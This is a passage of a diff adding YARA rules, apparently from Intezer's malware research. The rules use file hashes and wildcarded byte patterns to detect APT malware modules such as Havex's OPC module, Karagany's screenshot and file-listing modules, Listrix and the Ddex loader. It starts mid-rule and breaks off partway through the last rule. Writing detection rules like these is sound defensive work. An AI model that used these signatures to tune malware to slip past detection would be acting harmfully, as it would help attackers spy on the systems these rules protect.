+		hash.sha256(0, filesize) == "2f593c22a8fd0de3bbb57d26320446a9c7eed755ae354957c260908c93d8cf79" or
+		hash.sha256(0, filesize) == "1d768ebfbdf97ad5282e7f85da089e174b1db760f1cbdca1a815e8e6245f155a" or
+		hash.sha256(0, filesize) == "b8514bff04e8f4e77430202db61ec5c206d3ec0f087a65ee72c9bb94a058b685" or
+		hash.sha256(0, filesize) == "d755904743d48c31bdff791bfa440e79cfe1c3fc9458eb708cf8bb78f117dd07" or
+		hash.sha256(0, filesize) == "bacac71fcc61db9b55234d1ccf45d5fffd9392c430cdd25ee7a5cea4b24c7128" or
+		hash.sha256(0, filesize) == "ee53e509d0f2a3c888232f2232b603463b421b9c08fe7f44ed4eead0643135d3" or
+		hash.sha256(0, filesize) == "2efd5355651db8e07613e74b1bf85b50273c1f3bce5e4edbedea0ccdff023754" or
+		hash.sha256(0, filesize) == "439e5617d57360f76f24daed3fe0b59f20fc9dade3008fd482260ba58b739a23" or
+		hash.sha256(0, filesize) == "c4e2e341689799281eaef47de75f59edceaba281398b41fe7616436f247ab93d" or
+		hash.sha256(0, filesize) == "778568b44e13751800bf66c17606dfdfe35bebbb94c8e6e2a2549c7482c33f7a" or
+		hash.sha256(0, filesize) == "85d3f636b515f0729c47f66e3fc0c9a0aacf3ec09c4acf8bf20a1411edcdc40a" or
+		hash.sha256(0, filesize) == "56a1513bcf959d5df3ff01476ddb4b158ce533658ab7d8dd439324b16f193ac2" or
+		hash.sha256(0, filesize) == "61969cd978cd2de3a13a10510d0dea5d0d3b212209804563ed3d42033a9d0f54" or
+		hash.sha256(0, filesize) == "98bd5e8353bc9b70f8a52786365bcdb28bd3aef164d62c38dae8df33e04ac11a" or
+		hash.sha256(0, filesize) == "2dc296eb532097ac1808df7a16f7740ef8771afda3ac339d144d710f9cefceb4" or
+		hash.sha256(0, filesize) == "aafbf4bba99c47e7d05c951ad964ce09493db091ba5945e89df916c6fa95d101" or
+		hash.sha256(0, filesize) == "a3a6f0dc5558eb93afa98434020a8642f7b29c41d35fa34809d6801d99d8c4f3" or
+		hash.sha256(0, filesize) == "066346170856972f6769705bc6ff4ad21e88d2658b4cacea6f94564f1856ed18" or
+		hash.sha256(0, filesize) == "6b2a438e0233fe8e7ba8774e2e5c59bf0b7c12679d52d6783a0010ecad11978c" or
+		hash.sha256(0, filesize) == "31db22caf480c471205a7608545370c1b3c0c9be5285a9ef2264e856052b66b4" or
+		hash.sha256(0, filesize) == "6296d95b49d795fa10ae6e9c4e4272ea4e1444105bddbf45b34ee067b2603b38" or
+		hash.sha256(0, filesize) == "4cf75059f2655ca95b4eba11f1ce952d8e08bb4dbcb12905f6f37cf8145a538d" or
+		hash.sha256(0, filesize) == "e73f8b394e51348ef3b6cea7c5e5ecc2ee06bb395c5ac30f6babb091080c1e74" or
+		hash.sha256(0, filesize) == "9517a412633b8ebeac875a2da7fe119b72efad62859dc1719b84d561792a9033" or
+		hash.sha256(0, filesize) == "d89a80a3fbb0a4a40157c6752bd978bc113b0c413e3f73eb922d4e424edeb8a7" or
+		hash.sha256(0, filesize) == "da3c1a7b63a6a7cce0c9ef01cf95fd4a53ba913bab88a085c6b4b8e4ed40d916" or
+		hash.sha256(0, filesize) == "d71da8a59f3e474c3bcd3f2f00fae0b235c4e01cd9f465180dd0ab19d6af5526" or
+		hash.sha256(0, filesize) == "684ea2083f2f7099f0a611c81f26f30127ad297fcac8988cabb60fcf56979dfc" or
+		hash.sha256(0, filesize) == "2c37e0504b98413e0308e44fd84f98e968f6f62399ea06bc38d3f314ee94b368" or
+		hash.sha256(0, filesize) == "aef82593822a934b77b81ebc461c496c4610474727539b0b6e1499ca836f0dee" or
+		hash.sha256(0, filesize) == "9d530e2254580842574a740698d2348b68b46fd88312c9325321ad0d986f523d" or
+		hash.sha256(0, filesize) == "8da93bc4d20e5f38d599ac89db26fc2f1eecbf36c14209302978d46fc4ce5412" or
+		hash.sha256(0, filesize) == "170e5eb004357dfce6b41de8637e1dbeb87fa58e8b54a2031aac33afb930f3c8" or
+		hash.sha256(0, filesize) == "b3b01b36b6437c624da4b28c4c8f773ae8133fca9dd10dc17742e956117f5759" or
+		hash.sha256(0, filesize) == "b0faba6156c7b0cd59b94eeded37d8c1041d4b8dfa6aacd6520a6d28c3f02a5e" or
+		hash.sha256(0, filesize) == "5a13d0c954280b4c65af409376de86ac43eb966f25b85973a20d330a34cdd9a6" or
+		hash.sha256(0, filesize) == "92c959c36617445a35e6f4f2ee2733861aa1b3baf8728d19a4fd5176f3c80401" or
+		hash.sha256(0, filesize) == "edb7caa3dce3543d65f29e047ea789a9e429e46bed5c29c4748e656285a08050" or
+		hash.sha256(0, filesize) == "02e5191078497be1e6ea8bac93b6cfb9b3ee36a58e4f7dd343ac1762e7f9301e" or
+		hash.sha256(0, filesize) == "170596e88b26f04d349f6014d17a88026ec55eab44888e2a9bb4dd90a79f6878" or
+		hash.sha256(0, filesize) == "cb58396d40e69d5c831f46aed93231ed0b7d41fee95f8da7c594c9dbd06ee111" or
+		hash.sha256(0, filesize) == "24be375f0e11d88210e53f15cc08d72ab6c6287676c3fe3c6f70b513e5f442ed" or
+		hash.sha256(0, filesize) == "8e222cb1a831c407a3f6c7863f3faa6358b424e70a041c196e91fb7989735b68" or
+		hash.sha256(0, filesize) == "bb3529aa5312abbee0cfbd00f10c3f2786f452a2ca807f0acbd336602a13ac79" or
+		hash.sha256(0, filesize) == "a05b53260c2855829226dffd814022b7ff4750d278d6c46f2e8e0dc58a36a1f9" or
+		hash.sha256(0, filesize) == "698ec413986dc7fc761b1a17624ffffb1590902020b9d0cd5d9a6013c67d9100" or
+		hash.sha256(0, filesize) == "f1d6e8b07ac486469e09c876c3e267db2b2d651299c87557cbf4eafb861cf79c" or
+		hash.sha256(0, filesize) == "4f3ceab96fb55d0b05380a1d95bb494ca44d7a9d7f10ded02d5b6fc27c92cb05" or
+		hash.sha256(0, filesize) == "f6aab09e1c52925fe599246dfdb4c1d06bea5c380c4c3e9c33661c869d41a23a" or
+		hash.sha256(0, filesize) == "c43ce82560cea125f65c7701c733c61ae3faa782c8b00efcb44fd7dbd32a5c4b" or
+		hash.sha256(0, filesize) == "224e8349ba128f0ab57bdebef5287f4b84b9dccbc2d8503f53f6333efd5f9265" or
+		hash.sha256(0, filesize) == "cd019e717779e2d2b1f4c27f75e940b5f98d4ebb48de604a6cf2ab911220ae50" or
+		hash.sha256(0, filesize) == "593849098bd288b7bed9646e877fa0448dcb25ef5b4482291fdf7123de867911" or
+		hash.sha256(0, filesize) == "ecb097f3367f0155887dde9f891ff823ff54ddfe5217cdbb391ea5b10c5a08dc" or
+		hash.sha256(0, filesize) == "83e57d8f3810a72a772742d4b786204471a7607e02fa445c3cd083f164cc4af3" or
+		hash.sha256(0, filesize) == "4b547b3992838cfb3b61cb25f059c0b56c2f7caaa3b894dbc20bf7b33dadc5a1" or
+		hash.sha256(0, filesize) == "0f4046be5de15727e8ac786e54ad7230807d26ef86c3e8c0e997ea76ab3de255" or
+		hash.sha256(0, filesize) == "7c1136d6f5b10c22698f7e049dbc493be6e0ce03316a86c422ca9b670cb133aa" or
+		hash.sha256(0, filesize) == "72ff91b3f36ccf07e3daf6709db441d2328cecab366fd5ff81fc70dd9eb45db8" or
+		hash.sha256(0, filesize) == "d5687b5c5cec11c851e84a1d40af3ef52607575487a70224f63458c24481076c" or
+		hash.sha256(0, filesize) == "bcdcb4b5e9aaaee2c46d5b0ed16aca629de9faa5e787c672191e0bdf64619a95" or
+		hash.sha256(0, filesize) == "6e5f4296bffa7128b6e8fa72ad1924d2ff19b9d64775bd1e0a9ce9c5944bd419" or
+		hash.sha256(0, filesize) == "d3ee530abe41705a819ee9220aebb3ba01531e16df7cded050ba2cf051940e46" or
+		hash.sha256(0, filesize) == "bee9f2a01e0049d4cf94016284b16849136233366d1509489797084672e5448f" or
+		hash.sha256(0, filesize) == "ec48b131612ef5637b387d9c2b0907d68a080fb77c6168e779fb7f3a0efa04dc" or
+		hash.sha256(0, filesize) == "1ef47da67f783f8cc8cda7481769647b754874c91e0c666f741611decd878c19" or
+		hash.sha256(0, filesize) == "0850c39a7fcaa7091aaea333d33c71902b263935df5321edcd5089d10e4bbebb" or
+		hash.sha256(0, filesize) == "8d343be0ea83597f041f9cbc6ea5b63773affc267c6ad99d31badee16d2c86e5" or
+		hash.sha256(0, filesize) == "13da3fe28302a8543dd527d9e09723caeed98006c3064c5ed7b059d6d7f36554" or
+		hash.sha256(0, filesize) == "6367cb0663c2898aff64440176b409c1389ca7834e752b350a87748bef3a878b" or
+		hash.sha256(0, filesize) == "358da2c5bb5fbd9c9cf791536054bbb387ce37253c31555f5afa544f38de2a3f" or
+		hash.sha256(0, filesize) == "ebb16c9536e6387e7f6988448a3142d17ab695b2894624f33bd591ceb3e46633" or
+		hash.sha256(0, filesize) == "0ea750a8545252b73f08fe87db08376f789fe7e58a69f5017afa2806046380a5" or
+		hash.sha256(0, filesize) == "65a4332dfe474a8bb9b5fa35495aade453da7a03eb0049211e57b5660d08d75c" or
+		hash.sha256(0, filesize) == "dc612882987fab581155466810f87fd8f0f2da5c61ad8fc618cef903c9650fcd" or
+		hash.sha256(0, filesize) == "d588e789f0b5914bd6f127950c5daf6519c78b527b0ed7b323e42b0613f6566f" or
+		hash.sha256(0, filesize) == "c25c1455dcab2f17fd6a25f8af2f09ca31c8d3773de1cb2a55acd7aeaa6963c8" or
+		hash.sha256(0, filesize) == "b8f2fdddf7a9d0b813931e0efe4e6473199688320d5e8289928fe87ce4b1d068" or
+		hash.sha256(0, filesize) == "94d4e4a8f2d53426154c41120b4f3cf8105328c0cc5d4bd9126a54c14b296093" or
+		hash.sha256(0, filesize) == "101e70a5455212b40406fe70361995a3a346264eabd4029200356565d2bacd6a" or
+		hash.sha256(0, filesize) == "60f86898506f0fdf6d997f31deff5b6200a6969b457511cc00446bd22dd1f0a4" or
+		hash.sha256(0, filesize) == "b647f883911ff20f776e0a42564b13ef961fa584ebd5cfce9dd2990bca5df24e" or
+		hash.sha256(0, filesize) == "c987f8433c663c9e8600a7016cdf63cd14590a019118c52238c24c39c9ec02ad" or
+		hash.sha256(0, filesize) == "66ec58b4bdcb30d1889972c1ee30af7ff213deece335f798e57ff51fe28752e3" or
+		hash.sha256(0, filesize) == "3a88ff66f4eb675f0c3e6c5f947c012945c4e15b77a2cd195de8a8aba23ccb29" or
+		hash.sha256(0, filesize) == "43608e60883304c1ea389c7bad244b86ff5ecf169c3b5bca517a6e7125325c7b" or
+		hash.sha256(0, filesize) == "abdb2da30435430f808b229f8b6856fafc154a386ef4f7c5e8de4a746e350e0c" or
+		hash.sha256(0, filesize) == "7081455301e756d6459ea7f03cd55f7e490622d36a5a019861e6b17141f69bd0" or
+		hash.sha256(0, filesize) == "c66525285707daff30fce5d79eb1bdf30519586dfec4edf73e4a0845fd3d0e1c" or
+		hash.sha256(0, filesize) == "59c4cba96dbab5d8aa7779eac18b67b2e6f8b03066eb092415d50dff55e43b72" or
+		hash.sha256(0, filesize) == "0c9b20f4cb0b3206f81c2afbb2ee4d995c28f74f38216f7d35454af624af8876" or
+		hash.sha256(0, filesize) == "6e92c2d298e25bcff17326f69882b636150d2a1af494ef8186565544f0d04d3d" or
+		hash.sha256(0, filesize) == "0a0a5b68a8a7e4ed4b6d6881f57c6a9ac55b1a50097588e462fe8d3c486158bf" or
+		hash.sha256(0, filesize) == "837e68be35c2f0ab9e2b3137d6f9f7d16cc387f3062a21dd98f436a4bcceb327" or
+		hash.sha256(0, filesize) == "fb30c3bb1b25b3d4cca975f2e0c45b95f3eb57a765267271a9689dd526658b43" or
+		hash.sha256(0, filesize) == "e3a7fa8636d040c9c3a8c928137d24daa15fc6982c002c5dd8f1c552f11cbcad" or
+		12 of them
+}
+
+rule HavexModuleOPC {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 03 ?? 0F AF ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 72 }
+		$block_1 = { 8B ?? ?? 33 ?? 66 ?? ?? ?? 8B ?? ?? 0F B6 ?? ?? C1 ?? ?? C1 ?? ?? 0B ?? FF 0? ?? 4? 79 }
+		$block_2 = { 8D ?? ?? 5? 89 ?? ?? 8B ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 89 ?? ?? 3B ?? 0F 85 }
+		$block_3 = { 89 ?? ?? ?? ?? ?? 8B ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? FF 4? ?? 0F 85 }
+		$block_4 = { 8B ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 38 ?? ?? 0F 84 }
+		$block_5 = { 8B ?? ?? ?? ?? ?? 5? 33 ?? 5? E8 ?? ?? ?? ?? 81 C? ?? ?? ?? ?? C9 C3 }
+		$block_6 = { 66 ?? ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 4? 83 ?? ?? 0F B7 ?? 0F 8C }
+		$block_7 = { 5? 8B ?? 83 ?? ?? 5? 5? 33 ?? 8D ?? ?? AB AB AB AB 83 ?? ?? ?? C7 }
+		$block_8 = { 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 84 ?? 0F 84 }
+		$block_9 = { 0F B7 ?? 8B ?? C1 ?? ?? 0B ?? D1 ?? 8D ?? ?? F3 ?? 13 ?? 66 }
+		$block_10 = { 33 ?? 83 ?? ?? ?? 0F 95 ?? 4? 83 ?? ?? 83 ?? ?? 89 ?? ?? EB }
+		$block_11 = { 83 ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? A5 A5 A5 A5 5? 5? 74 }
+		$block_12 = { 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? FF 4? ?? 0F 85 }
+		$block_13 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 5? 8B ?? 85 ?? 0F 84 }
+		$block_14 = { 0F B6 ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 4? 83 ?? ?? 7C }
+		$block_15 = { 8B ?? ?? 8B ?? ?? 33 ?? 5? E8 ?? ?? ?? ?? C9 C3 }
+
+	condition:
+		hash.sha256(0, filesize) == "6aca45bb78452cd78386b8fa78dbdf2dda7fba6cc06482251e2a6820849c9e82" or
+		hash.sha256(0, filesize) == "004c99be0c355e1265b783aae557c198bcc92ee84ed49df70db927a726c842f3" or
+		hash.sha256(0, filesize) == "7933809aecb1a9d2110a6fd8a18009f2d9c58b3c7dbda770251096d4fcc18849" or
+		12 of them
+}
+
+rule KaraganyModuleScreenshot {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 6A ?? 5? C6 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? BB ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? BE ?? ?? ?? ?? 8D ?? ?? A5 A5 A5 A5 A4 BE ?? ?? ?? ?? 8D ?? ?? A5 A5 8D ?? ?? A4 8B ?? ?? ?? ?? ?? 5? FF D? 5? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 5? 5? FF D? 6A ?? 5? FF 1? ?? ?? ?? ?? 8D ?? ?? 5? FF D? 5? 8D ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 5? 5? FF D? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 75 }
+		$block_1 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 5? BE ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 33 ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 8D ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_3 = { 5? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 8D ?? ?? ?? 5? FF 7? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "05fb04474a3785995508101eca7affd8c89c658f7f9555de6d6d4db40583ac53" or
+		5 of them
+}
+
+rule Listrix {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? FF D? E8 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? C1 ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 0F B7 ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 5? 0F B7 ?? ?? ?? ?? ?? 5? 0F B7 ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 5? 5? 8D ?? ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 74 }
+		$block_2 = { 0F B7 ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 5? 0F B7 ?? ?? ?? ?? ?? 5? 0F B7 ?? ?? ?? ?? ?? 5? 5? 5? 8D ?? ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_3 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 33 ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 66 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 68 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 66 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_6 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_7 = { 8B ?? ?? ?? 8D ?? ?? ?? 83 ?? ?? 5? 66 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_8 = { 68 ?? ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "fc54d8afd2ce5cb6cc53c46783bf91d0dd19de604308d536827320826bc36ed9" or
+		10 of them
+}
+
+rule KaraganyModuleFileListing {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B7 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? ?? ?? ?? 88 ?? ?? A1 ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? ?? ?? ?? 66 ?? ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 89 ?? ?? 0F B6 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 88 ?? ?? 0F B6 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 66 ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? ?? ?? ?? 88 ?? ?? 8B ?? ?? ?? ?? ?? 88 ?? ?? 89 ?? ?? 66 ?? ?? ?? 8D ?? ?? 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? 8D ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? 8D ?? ?? 8D ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8D }
+		$block_1 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? FF D? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? FF 1? ?? ?? ?? ?? C1 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 0F B7 ?? ?? 0F B7 ?? ?? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 5? 5? 8D ?? ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 74 }
+		$block_3 = { 0F B7 ?? ?? 0F B7 ?? ?? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 5? 5? 8D ?? ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_4 = { 8A ?? ?? 8D ?? ?? ?? ?? ?? 04 ?? 5? 88 ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_5 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? F6 ?? ?? ?? 0F 84 }
+		$block_6 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_7 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? FF D? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "07bd08b07de611b2940e886f453872aa8d9b01f9d3c61d872d6cfe8cde3b50d4" or
+		8 of them
+}
+
+rule Ddex_loader {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 5? 68 ?? ?? ?? ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 8B ?? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 5? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 75 }
+		$block_1 = { FF 3? ?? ?? ?? ?? FF 7? ?? FF 7? ?? FF 3? ?? ?? ?? ?? FF 7? ?? 68 ?? ?? ?? ?? FF 3? FF 1? ?? ?? ?? ?? 83 ?? ?? FF 3? E8 ?? ?? ?? ?? FF 7? ?? 8B ?? ?? 5? FF 7? ?? 89 ?? FF D? FF 7? ?? 5? FF 7? ?? FF D? 5? 33 ?? 5? 4? 5? C9 C2 }
+		$block_2 = { 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 5? FF 7? ?? 89 ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 3B ?? 74 }
+		$block_3 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? BB ?? ?? ?? ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? A5 A5 68 ?? ?? ?? ?? A5 E8 ?? ?? ?? ?? 85 ?? 75 }
+		$block_4 = { 83 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 5? 33 ?? 5? 5? 8B ?? FF D? 39 ?? ?? ?? 0F 86 }
+		$block_5 = { 5? 5? 83 ?? ?? ?? ?? 5? 5? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? 68 ?? ?? ?? ?? 5? FF D? 5? 5? 85 ?? 0F 84 }
+		$block_6 = { 6A ?? 5? E8 ?? ?? ?? ?? 5? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 8D ?? ?? A5 A5 A5 83 ?? ?? ?? 74 }
+		$block_7 = { 0F B7 ?? ?? 5? 5? 6A ?? 5? 5? 5? FF 3? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 3B ?? 75 }
+		$block_8 = { 5? E8 ?? ?? ?? ?? 3B ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? 0F 84 }
